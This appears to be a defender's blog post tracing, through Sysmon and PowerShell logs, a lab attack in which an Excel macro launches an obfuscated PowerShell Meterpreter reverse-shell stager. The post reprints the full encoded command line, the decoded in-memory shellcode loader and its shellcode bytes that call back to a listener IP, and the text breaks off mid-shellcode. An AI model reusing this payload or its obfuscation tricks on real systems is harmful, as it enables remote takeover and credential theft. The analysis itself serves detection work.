If you're fortunate enough to be running a modern endpoint detection and response (EDR) product or even endpoint protection (EPP), you may be in good shape for detecting or blocking things like
Metasploit's
Meterpreter payload. Meterpreter's capabilities have been emulated by other frameworks and malware. While there are more sophisticated attack tools available, testing detections and investigating Meterpreter is still a valuable exercise.
In this post, we'll take a look at a typical scenario involving a malicious Excel macro created using
TrustedSec's Unicorn that spawns a Meterpreter reverse shell that connects back to a listener on an endpoint running Metasploit. We'll review some of the data that
Sysmon captures using a
popular Sysmon configuration from Internet infosec celeb
SwiftOnSecurity.
After seeing what Sysmon captures, we'll grab
gleeda's memtriage to take a deeper look. If you're not familiar with memtriage, you really should check it out as it enables investigators to run more than two dozen
Volatility plugins against an endpoint while it is up and running. Years ago I was working in an environment with hundreds of thousands of servers strewn across data centers worldwide often with 192GB of RAM. Imagine trying to take a memory dump from one of those systems to run an investigation to ground. Having something like memtriage would have made investigations easier.
Let's play: Sysmon Says
Our unsuspecting user has opened an Excel spreadsheet containing a malicious macro as outlined above. Unbeknownst to the user, this has caused a reverse shell to call back to a listener on a remote system where the attacker used Meterpreter's
priv extension to call
getsystem, elevating the attacker's privileges to SYSTEM on the victim machine, which then enable's the attacker to
migrate their malicious agent into to a legitimate process on the machine --
spoolsv.exe -- using
code that's been around for at least a decade. Following the migration to
spoolsv.exe, the attacker ran
hashdump.
Here's some of what Sysmon logged:
Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon
Date: 7/19/2020 8:03:07 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:03:07.410
ProcessGuid: {fc3f293c-a6fb-5f14-437f-430000000000}
ProcessId: 2476
Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
FileVersion: 16.0.11929.20838
Description: Microsoft Excel
Product: Microsoft Office
Company: Microsoft Corporation
OriginalFileName: Excel.exe
CommandLine: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE"
CurrentDirectory: C:\Windows\system32\
User: 1011LABS\dave.hull
LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}
LogonId: 0x3B7EEE
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=B0560334F0AFC1EEB1C1F67FD27ED79E,SHA256=477D98352D14E8A65C79A4A68112EBB92E03358708E7B04E9411831A2F0EA5E8,IMPHASH=9AE6B99DE4CEC4B19FFAFF4B2AA4C4E4
ParentProcessGuid: {fc3f293c-4e61-5f14-3d9a-3b0000000000}
ParentProcessId: 2344
ParentImage: C:\Windows\explorer.exe
ParentCommandLine: C:\Windows\Explorer.EXE
Above Sysmon has logged an Event Id 1 or process creation event, for the Excel process. We get the creation time, hostname, user context, parent process Id and name and GUIDs for this process and its parent. These globally unique identifiers are created by Sysmon to make tracking parent and child process relationships easier as process Ids alone can make this difficult due to the reuse of process Ids. There's some other useful thing, hashes of the process and the imphash or the hash of the process' import table.
So far, nothing unusual to see here. Next up, things take a turn.
A PowerShell Excursion:
Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon
Date: 7/19/2020 8:03:34 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: wins2012r202.1011Labs.com
Description:
Process Create:
RuleName: -
UtcTime: 2020-07-19 20:03:34.614
ProcessGuid: {fc3f293c-a716-5f14-06ce-430000000000}
ProcessId: 1604
Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155)
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /w 1 /C "sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString() ('JABpAHMAPQAnACQASwB1AD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKwAiAC4AIgArACIAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACsAIgAuACIAKwAiAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABUAGEAbwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAVABXAD0AIgB9AGUAOAAsAH0AOAAyACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB9ADgAOQAsAH0AZQA1ACwAfQAzADEALAB9AGMAMAAsAH0ANgA0ACwAfQA4AGIALAB9ADUAMAAsAH0AMwAwACwAfQA4AGIALAB9ADUAMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAfQA4AGIALAB9ADcAMgAsAH0AMgA4ACwAfQAwAGYALAB9AGIANwAsAH0ANABhACwAfQAyADYALAB9ADMAMQAsAH0AZgBmACwAfQBhAGMALAB9ADMAYwAsAH0ANgAxACwAfQA3AGMALAB9ADAAMgAsAH0AMgBjACwAfQAyADAALAB9AGMAMQAsAH0AYwBmACwAfQAwAGQALAB9ADAAMQAsAH0AYwA3ACwAfQBlADIALAB9AGYAMgAsAH0ANQAyACwAfQA1ADcALAB9ADgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANABhACwAfQAzAGMALAB9ADgAYgAsAH0ANABjACwAfQAxADEALAB9ADcAOAAsAH0AZQAzACwAfQA0ADgALAB9ADAAMQAsAH0AZAAxACwAfQA1ADEALAB9ADgAYgAsAH0ANQA5ACwAfQAyADAALAB9ADAAMQAsAH0AZAAzACwAfQA4AGIALAB9ADQAOQAsAH0AMQA4ACwAfQBlADMALAB9ADMAYQAsAH0ANAA5ACwAfQA4AGIALAB9ADMANAAsAH0AOABiACwAfQAwADEALAB9AGQANgAsAH0AMwAxACwAfQBmAGYALAB9AGEAYwAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AMAAxACwAfQBjADcALAB9ADMAOAAsAH0AZQAwACwAfQA3ADUALAB9AGYANgAsAH0AMAAzACwAfQA3AGQALAB9AGYAOAAsAH0AMwBiACwAfQA3AGQALAB9ADIANAAsAH0ANwA1ACwAfQBlADQALAB9ADUAOAAsAH0AOABiACwAfQA1ADgALAB9ADIANAAsAH0AMAAxACwAfQBkADMALAB9ADYANgAsAH0AOABiACwAfQAwAGMALAB9ADQAYgAsAH0AOABiACwAfQA1ADgALAB9ADEAYwAsAH0AMAAxACwAfQBkADMALAB9ADgAYgAsAH0AMAA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAAwACwAfQA4ADkALAB9ADQANAAsAH0AMgA0ACwAfQAyADQALAB9ADUAYgAsAH0ANQBiACwAfQA2ADEALAB9ADUAOQAsAH0ANQBhACwAfQA1ADEALAB9AGYAZgAsAH0AZQAwACwAfQA1AGYALAB9ADUAZgAsAH0ANQBhACwAfQA4AGIALAB9ADEAMgAsAH0AZQBiACwAfQA4AGQALAB9ADUAZAAsAH0ANgA4ACwAfQA2AGUALAB9ADYANQAsAH0ANwA0ACwAfQAwADAALAB9ADYAOAAsAH0ANwA3ACwAfQA2ADkALAB9ADYAZQAsAH0ANgA5ACwAfQA1ADQALAB9ADYAOAAsAH0ANABjACwAfQA3ADcALAB9ADIANgAsAH0AMAA3ACwAfQBmAGYALAB9AGQANQAsAH0AMwAxACwAfQBkAGIALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA2ADgALAB9ADMAYQAsAH0ANQA2ACwAfQA3ADkALAB9AGEANwAsAH0AZgBmACwAfQBkADUALAB9ADUAMwAsAH0ANQAzACwAfQA2AGEALAB9ADAAMwAsAH0ANQAzACwAfQA1ADMALAB9ADYAYQAsAH0ANQAwACwAfQBlADgALAB9ADgANAAsAH0AMAAwACwAfQAwADAALAB9ADAAMAAsAH0AMgBmACwAfQAzADgALAB9ADQAYgAsAH0ANgA4ACwAfQAzADgALAB9ADMAOQAsAH0AMAAwACwAfQA1ADAALAB9ADYAOAAsAH0ANQA3ACwAfQA4ADkALAB9ADkAZgAsAH0AYwA2ACwAfQBmAGYALAB9AGQANQAsAH0AOAA5ACwAfQBjADYALAB9ADUAMwAsAH0ANgA4ACwAfQAwADAALAB9ADAAMgAsAH0ANgAwACwAfQA4ADQALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUANwAsAH0ANQAzACwAfQA1ADYALAB9ADYAOAAsAH0AZQBiACwAfQA1ADUALAB9ADIAZQAsAH0AMwBiACwAfQBmAGYALAB9AGQANQAsAH0AOQA2ACwAfQA2AGEALAB9ADAAYQAsAH0ANQBmACwAfQA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUANgAsAH0ANgA4ACwAfQAyAGQALAB9ADAANgAsAH0AMQA4ACwAfQA3AGIALAB9AGYAZgAsAH0AZAA1ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA1ACwAfQAxADYALAB9ADYA'+'OAAsAH0AOAA4ACwAfQAxADMALAB9ADAAMAAsAH0AMAAwACwAfQA2ADgALAB9ADQANAAsAH0AZgAwACwAfQAzADUALAB9AGUAMAAsAH0AZgBmACwAfQBkADUALAB9ADQAZgAsAH0ANwA1ACwAfQBlADEALAB9ADYAOAAsAH0AZgAwACwAfQBiADUALAB9AGEAMgAsAH0ANQA2ACwAfQBmAGYALAB9AGQANQAsAH0ANgBhACwAfQA0ADAALAB9ADYAOAAsAH0AMAAwACwAfQAxADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADgALAB9ADAAMAAsAH0AMAAwACwAfQA0ADAALAB9ADAAMAAsAH0ANQAzACwAfQA2ADgALAB9ADUAOAAsAH0AYQA0ACwAfQA1ADMALAB9AGUANQAsAH0AZgBmACwAfQBkADUALAB9ADkAMwAsAH0ANQAzACwAfQA1ADMALAB9ADgAOQAsAH0AZQA3ACwAfQA1ADcALAB9ADYAOAAsAH0AMAAwACwAfQAyADAALAB9ADAAMAAsAH0AMAAwACwAfQA1ADMALAB9ADUANgAsAH0ANgA4ACwAfQAxADIALAB9ADkANgAsAH0AOAA5ACwAfQBlADIALAB9AGYAZgAsAH0AZAA1ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQBjAGQALAB9ADgAYgAsAH0AMAA3ACwAfQAwADEALAB9AGMAMwAsAH0AOAA1ACwAfQBjADAALAB9ADcANQAsAH0AZQA1ACwAfQA1ADgALAB9AGMAMwAsAH0ANQBmACwAfQBlADgALAB9ADcAZAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0AMwAxACwAfQAzADAALAB9ADIAZQAsAH0AMwA0ACwAfQAzADcALAB9ADIAZQAsAH0AMwA0ACwAfQAzADcALAB9ADIAZQAsAH0AMwAyACwAfQAzADYALAB9ADAAMAAiADsAJABaAHUAPQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAEsAdQAgAC0ATgBhAG0AZQAgACIAVQBWACIAIAAtAG4AYQBtAGUAcwAgAHcAWAByADsAJABaAHUAPQAkAFoAdQAuAHIAZQBwAGwAYQBjAGUAKAAiAHcAWAByACIALAAgACIAVwBpACIAKwAiAG4AIgArACIAMwAyAEYAdQBuAGMAdABpAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAFQAVwAgAD0AIAAkAFQAVwAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACIAUQBoAEUAYQB4ACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiAFEAaABFAGEAIgAsACAAIgAwACIAKQAuAFMAcABsAGkAdAAoACIALAAiACkAOwAkAFIATgA9ADAAeAAxADAAMAA3ADsAaQBmACAAKAAkAFQAVwAuAEwAIAAtAGcAdAAgADAAeAAxADAAMAA3ACkAewAkAFIATgA9ACQAVABXAC4ATAB9ADsAJABkAFYAPQAkAFoAdQA6ADoAYwBhAGwAbABvAGMAKAAwAHgAMQAwADAANwAsACAAMQApADsAWwBVAEkAbgB0ADYANABdACQAVABhAG8AIAA9ACAAMAA7AGYAbwByACgAJAB2AFgAPQAwADsAJAB2AFgAIAAtAGwAZQAoACQAVABXAC4ATABlAG4AZwB0AGgALQAxACkAOwAkAHYAWAArACsAKQB7ACQAWgB1ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAZABWAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAHYAWAApACwAIAAkAFQAVwBbACQAdgBYAF0ALAAgADEAKQB9ADsAJABaAHUAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAZABWACwAIAAwAHgAMQAwADAANwAsACAAMAB4ADQAMAAsACAAWwBSAGUAZgBdACQAVABhAG8AKQA7ACQAWgB1ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwAHgAMAAwACwAJABkAFYALAAwACwAMAAsADAAKQA7ACcAOwAkAHEAegA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAaQBzACkAKQA7ACQAdQBtAD0AIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAkAFAATQA9ACIAVwBpAG4AZABvAHcAcwAiADsAJABrAFgAdAAgAD0AIAAiAEMAOgBcACQAUABNAFwAcwB5AHMAdwBvAHcANgA0AFwAJABQAE0AJAB1AG0AXAB2ADEALgAwAFwAJAB1AG0AIgA7ACQASQB0AFgAIAA9ACAAJwBUAHIAIgArACIAdQAiACsAIgBlACcAOwBpAGYAKABbAGUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACAALQBlAHEAIAAnACQASQB0AFgAJwApAHsAJAB1AG0APQAgACQAawBYAHQAfQA7ACQAdgBGAD0AIgAgACQAdQBtACAAUwB3AGYAWAAgACQAcQB6ACIAOwAkAHYARgA9ACQAdgBGAC4AcgBlAHAAbABhAGMAZQAoACIAUwB3AGYAWAAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHYARgA=')"
CurrentDirectory: C:\Users\davehull\Documents\
User: 1011LABS\dave.hull
LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}
LogonId: 0x3B7EEE
TerminalSessionId: 1
IntegrityLevel: High
Hashes: MD5=38FD25D3D4AD1C28F741B1D4D50B2E6E,SHA256=2C2F1A21D85504374679D83D1BE9553D082AD9B28CBB847A90F04305A09882B9,IMPHASH=A4D32F1AEF525B8ADA6A26F28596AC2E
ParentProcessGuid: {fc3f293c-a6fb-5f14-437f-430000000000}
ParentProcessId: 2476
ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE"
Above we have Sysmon logging a process creation event for a PowerShell process. Note this process is a child of the previous Excel process. We can confirm this by looking at the parent process GUID and matching it against the process GUID from the previous process creation event. You could compare the parent process Ids, but again, this is not always foolproof given process Id reuse.
As an aside here, many may assume Excel parenting PowerShell is immediately suspect, but in some enterprises, there may be legitimate Excel macros that spawn PowerShell or cmd.exe processes to execute some additional supporting process. You may think it ridiculous, but there are
examples of this to be found.
The tell that something is awry with this instance of PowerShell is found on the command-line. No, not the base64 blob, which is also commonly used benignly to protect binary data sent via protocols that can only handle ASCII or to protect formatting. Here's the part that gives it away, for me:
CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /w 1 /C "sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString()
What's going on here is clear obfuscation -- someone is trying to evade detection. Let's break this down a bit.
/w 1 will set the window style to hidden, preventing the PowerShell window from popping up on the user's screen.
"sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString()
Above is where things get really suspect. In the line above the alias for Set-Variable, sv, is used to create a variable called BvI and its value is set to the hyphen character. Next, another variable, AT is created with a value of ec, next a variable named Al is set to the concatenation of the two previous variables, so -ec, short for -EncodedCommand. Next that variable is passed as an argument to another PowerShell instance followed by the base64 encoded command.
$is='$Ku=''[DllImport(("msvcrt"+"."+"dll"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint Tao);[DllImport("msvcrt"+"."+"dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$TW="}e8,}82,}00,}00,}00,}60,}89,}e5,}31,}c0,}64,}8b,}50,}30,}8b,}52,}0c,}8b,}52,}14,}8b,}72,}28,}0f,}b7,}4a,}26,}31,}ff,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}e2,}f2,}52,}57,}8b,}52,}10,}8b,}4a,}3c,}8b,}4c,}11,}78,}e3,}48,}01,}d1,}51,}8b,}59,}20,}01,}d3,}8b,}49,}18,}e3,}3a,}49,}8b,}34,}8b,}01,}d6,}31,}ff,}ac,}c1,}cf,}0d,}01,}c7,}38,}e0,}75,}f6,}03,}7d,}f8,}3b,}7d,}24,}75,}e4,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}5f,}5f,}5a,}8b,}12,}eb,}8d,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}6a,}50,}e8,}84,}00,}00,}00,}2f,}38,}4b,}68,}38,}39,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,}c6,}53,}68,}00,}02,}60,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,}0a,}5f,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}e1,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}7d,}ff,}ff,}ff,}31,}30,}2e,}34,}37,}2e,}34,}37,}2e,}32,}36,}00";$Zu=Add-Type -pass -m $Ku -Name "UV" -names wXr;$Zu=$Zu.replace("wXr", "Wi"+"n"+"32Functions");[byte[]]$TW = $TW.replace("}","QhEax").replace("QhEa", "0").Split(",");$RN=0x1007;if ($TW.L -gt 0x1007){$RN=$TW.L};$dV=$Zu::calloc(0x1007, 1);[UInt64]$Tao = 0;for($vX=0;$vX -le($TW.Length-1);$vX++){$Zu::memset([IntPtr]($dV.ToInt32()+$vX), $TW[$vX], 1)};$Zu::VirtualProtect($dV, 0x1007, 0x40, [Ref]$Tao);$Zu::CreateThread(0,0x00,$dV,0,0,0);';$qz=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($is));$um="powershell";$PM="Windows";$kXt = "C:\$PM\syswow64\$PM$um\v1.0\$um";$ItX = 'Tr"+"u"+"e';if([environment]::Is64BitOperatingSystem -eq '$ItX'){$um= $kXt};$vF=" $um SwfX $qz";$vF=$vF.replace("SwfX", "-noexit -e");iex $vF
We could spend an entire post picking this apart. For our purposes and for expediency, let's call out a few things about it and move on. According to the esteemable polymath Lee Holmes, the proper way to attempt deobfuscation of obfuscated PowerShell is to run it in a VM with the latest PowerShell installed and all PS logging enabled, then review the logs post execution. The reason for this is that PowerShell has side effects, which is to say executing PS, even if you were to replace the iex $vF called near the end of the output above with something like Write-Host $vF, could cause changes outside the scope.
The above has already executed on our victim system and was logged in PowerShell's Operational log as a 4104 event:
$Ku='[DllImport(("msvcrt"+"."+"dll"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32"+"."+"dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint Tao);[DllImport("msvcrt"+"."+"dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$TW="}e8,}82,}00,}00,}00,}60,}89,}e5,}31,}c0,}64,}8b,}50,}30,}8b,}52,}0c,}8b,}52,}14,}8b,}72,}28,}0f,}b7,}4a,}26,}31,}ff,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}e2,}f2,}52,}57,}8b,}52,}10,}8b,}4a,}3c,}8b,}4c,}11,}78,}e3,}48,}01,}d1,}51,}8b,}59,}20,}01,}d3,}8b,}49,}18,}e3,}3a,}49,}8b,}34,}8b,}01,}d6,}31,}ff,}ac,}c1,}cf,}0d,}01,}c7,}38,}e0,}75,}f6,}03,}7d,}f8,}3b,}7d,}24,}75,}e4,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}5f,}5f,}5a,}8b,}12,}eb,}8d,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}6a,}50,}e8,}84,}00,}00,}00,}2f,}38,}4b,}68,}38,}39,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,}c6,}53,}68,}00,}02,}60,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,}0a,}5f,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}e1,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}7d,}ff,}ff,}ff,}31,}30,}2e,}34,}37,}2e,}34,}37,}2e,}32,}36,}00";$Zu=Add-Type -pass -m $Ku -Name "UV" -names wXr;$Zu=$Zu.replace("wXr", "Wi"+"n"+"32Functions");[byte[]]$TW = $TW.replace("}","QhEax").replace("QhEa", "0").Split(",");$RN=0x1007;if ($TW.L -gt 0x1007){$RN=$TW.L};$dV=$Zu::calloc(0x1007, 1);[UInt64]$Tao = 0;for($vX=0;$vX -le($TW.Length-1);$vX++){$Zu::memset([IntPtr]($dV.ToInt32()+$vX), $TW[$vX], 1)};$Zu::VirtualProtect($dV, 0x1007, 0x40, [Ref]$Tao);$Zu::CreateThread(0,0x00,$dV,0,0,0);
This is not so different from what we saw above. This is passed as an argument to yet another PowerShell process. To recap we had Excel spawn a PowerShell building an obfuscated command line that was passed to another PowerShell, shown above once removed (white text), which spawns another PowerShell that runs the code above in black. If you're keeping track, it's a noisy attack.
Again a full accounting requires more work than we'll go into now, but let's spend a little time analyzing this. First, I find it helpful to put this into an IDE that can make sense of PowerShell and clean things up a bit.
$Ku='[DllImport(("msvcrt"+"."+"dll"))]public static extern IntPtr calloc(uint dwSize, uint `
amount)`
[DllImport("kernel32"+"."+"dll")]public static extern IntPtr CreateThread(IntPtr `
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, `
uint dwCreationFlags, IntPtr lpThreadId)`
[DllImport("kernel32"+"."+"dll")]public static extern IntPtr VirtualProtect(IntPtr `
lpStartAddress, uint dwSize, uint flNewProtect, out uint Tao)`
[DllImport("msvcrt"+"."+"dll")]public static extern IntPtr memset(IntPtr dest, uint src, `
uint count);'
$TW="}e8,}82,}00,}00,}00,}60,}89,}e5,}31,}c0,}64,}8b,}50,}30,}8b,}52,}0c,}8b,}52,}14,}8b,`
}72,}28,}0f,}b7,}4a,}26,}31,}ff,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}e2,}f2,`
}52,}57,}8b,}52,}10,}8b,}4a,}3c,}8b,}4c,}11,}78,}e3,}48,}01,}d1,}51,}8b,}59,}20,}01,}d3,`
}8b,}49,}18,}e3,}3a,}49,}8b,}34,}8b,}01,}d6,}31,}ff,}ac,}c1,}cf,}0d,}01,}c7,}38,}e0,}75,`
}f6,}03,}7d,}f8,}3b,}7d,}24,}75,}e4,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,`
}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}5f,}5f,}5a,`
}8b,}12,}eb,}8d,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,`
}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}6a,`
}50,}e8,}84,}00,}00,}00,}2f,}38,}4b,}68,}38,}39,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,`
}c6,}53,}68,}00,}02,}60,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,`
}0a,}5f,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,`
}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}e1,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,`
}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,`
